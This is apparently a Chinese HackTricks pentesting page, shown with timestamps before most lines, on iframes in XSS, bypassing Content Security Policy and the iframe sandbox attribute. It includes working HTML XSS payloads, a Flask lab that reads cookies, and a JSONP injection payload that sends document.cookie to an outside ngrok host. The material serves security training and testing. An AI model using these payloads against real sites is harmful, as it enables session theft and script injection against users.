2023-08-03 19:12:22 +00:00
# XSS中的iframes、CSP和SOP
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
## XSS中的iframes
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
有三种方法可以指示iframed页面的内容:
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
* 通过`src`指示URL( URL可以是跨源或同源的)
* 通过`src`指示使用`data:`协议的内容
* 通过`srcdoc`指示内容
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
**访问父级和子级变量**
2021-10-20 00:45:58 +00:00
```html
< html >
2023-08-03 19:12:22 +00:00
< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if2" src = "child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
< script >
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
< / script >
2021-10-20 00:45:58 +00:00
< / html >
```
```html
<!-- content of child.html -->
< script >
var secret="child secret";
alert(parent.secret)
< / script >
```
2023-08-03 19:12:22 +00:00
如果您通过http服务器访问前面的html( 例如`python3 -m http.server`) , 您会注意到所有脚本都将被执行( 因为没有CSP来阻止它) 。**父窗口无法访问任何iframe中的`secret`变量**, **只有if2和if3这两个同源的iframe可以访问原始窗口中的secret**。请注意, if4被认为具有`null`来源。
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
### 带有CSP的iframe <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
2021-10-20 00:45:58 +00:00
2021-10-20 00:55:49 +00:00
{% hint style="info" %}
2023-08-03 19:12:22 +00:00
请注意, 在以下绕过中, iframed页面的响应不包含任何CSP头, 以防止JS执行。
2021-10-20 00:55:49 +00:00
{% endhint %}
2023-08-03 19:12:22 +00:00
`script-src` 的`self`值不允许使用`data:`协议或`srcdoc`属性执行JS代码。\
然而, 即使CSP的值为`none`, 也允许执行将URL( 完整的URL或仅路径) 放在`src`属性中的iframes。\
因此, 可以通过以下方式绕过页面的CSP:
2021-10-20 00:45:58 +00:00
```html
< html >
< head >
2023-08-03 19:12:22 +00:00
< meta http-equiv = "Content-Security-Policy" content = "script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" >
2021-10-20 00:45:58 +00:00
< / head >
2023-08-03 19:12:22 +00:00
< script >
var secret = "31337s3cr37t";
< / script >
< iframe id = "if1" src = "child.html" > < / iframe >
< iframe id = "if2" src = "http://127.0.1.1:8000/child.html" > < / iframe >
< iframe id = "if3" srcdoc = "<script>var secret='if3 secret!'; alert(parent.secret)</script>" > < / iframe >
< iframe id = "if4" src = "data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E" > < / iframe >
2021-10-20 00:45:58 +00:00
< / html >
```
2023-08-03 19:12:22 +00:00
请注意,**先前的CSP仅允许执行内联脚本**。
然而,**只有`if1`和`if2`脚本将被执行,但只有`if1`能够访问父级的秘密**。
2021-10-20 00:45:58 +00:00
2021-12-24 01:52:37 +00:00
![](< .. / . . / . gitbook / assets / image ( 627 ) ( 1 ) ( 1 ) . png > )
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
因此, 如果您可以将JS文件上传到服务器并通过iframe加载它, 即使使用`script-src 'none'`,也有可能**绕过CSP**。这也可以通过滥用同站点的JSONP端点来实现。
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
您可以使用以下场景测试此功能,即使使用`script-src 'none'`, 也可以窃取cookie。只需运行应用程序并使用浏览器访问即可:
2021-10-20 00:45:58 +00:00
```python
import flask
from flask import Flask
app = Flask(__name__)
@app .route("/")
def index():
2023-08-03 19:12:22 +00:00
resp = flask.Response('< html > < iframe id = "if1" src = "cookie_s.html" > < / iframe > < / html > ')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
2021-10-20 00:45:58 +00:00
@app .route("/cookie_s.html")
2021-10-20 00:55:49 +00:00
def cookie_s():
2023-08-03 19:12:22 +00:00
return "< script > alert ( document . cookie ) < / script > "
2021-10-20 00:45:58 +00:00
if __name__ == "__main__":
2023-08-03 19:12:22 +00:00
app.run()
2021-10-20 00:45:58 +00:00
```
2023-08-03 19:12:22 +00:00
### 在野外发现的其他有效载荷 <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
2021-10-20 00:45:58 +00:00
```html
<!-- This one requires the data: scheme to be allowed -->
< iframe srcdoc = '<script src="data:text/javascript,alert(document.domain)"></script>' > < / iframe >
<!-- This one injects JS in a jsonp endppoint -->
< iframe srcdoc = '<script src = "/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//" > < / script >
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?) -->
< iframe src = 'data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>' > < / iframe >
```
2023-08-03 19:12:22 +00:00
### Iframe沙箱
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
`sandbox` 属性为iframe中的内容提供了一组额外的限制。**默认情况下,不应用任何限制。**
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
当`sandbox`属性存在时,它将:
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
* 将内容视为来自唯一的源
* 阻止表单提交
* 阻止脚本执行
* 禁用API
* 防止链接指向其他浏览上下文
* 防止内容使用插件(通过`< embed > `, `< object > `, `< applet > `或其他方式)
* 防止内容导航到其顶级浏览上下文
* 阻止自动触发的功能(例如自动播放视频或自动聚焦表单控件)
2021-10-20 00:45:58 +00:00
2023-08-03 19:12:22 +00:00
`sandbox` 属性的值可以为空(然后应用所有限制),或者是一个以空格分隔的预定义值列表,将移除特定的限制。
2021-10-20 00:45:58 +00:00
```html
< iframe src = "demo_iframe_sandbox.htm" sandbox > < / iframe >
```
2023-08-03 19:12:22 +00:00
## SOP中的iframes
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
请查看以下页面:
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
[bypassing-sop-with-iframes-1.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md )
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
[bypassing-sop-with-iframes-2.md ](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md )
{% endcontent-ref %}
2022-10-12 23:50:04 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md ](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md )
{% endcontent-ref %}
2022-08-04 08:54:03 +00:00
2022-10-13 00:56:34 +00:00
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md ](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md )
{% endcontent-ref %}
2022-08-04 08:54:03 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
2022-04-28 16:01:33 +00:00
< / details >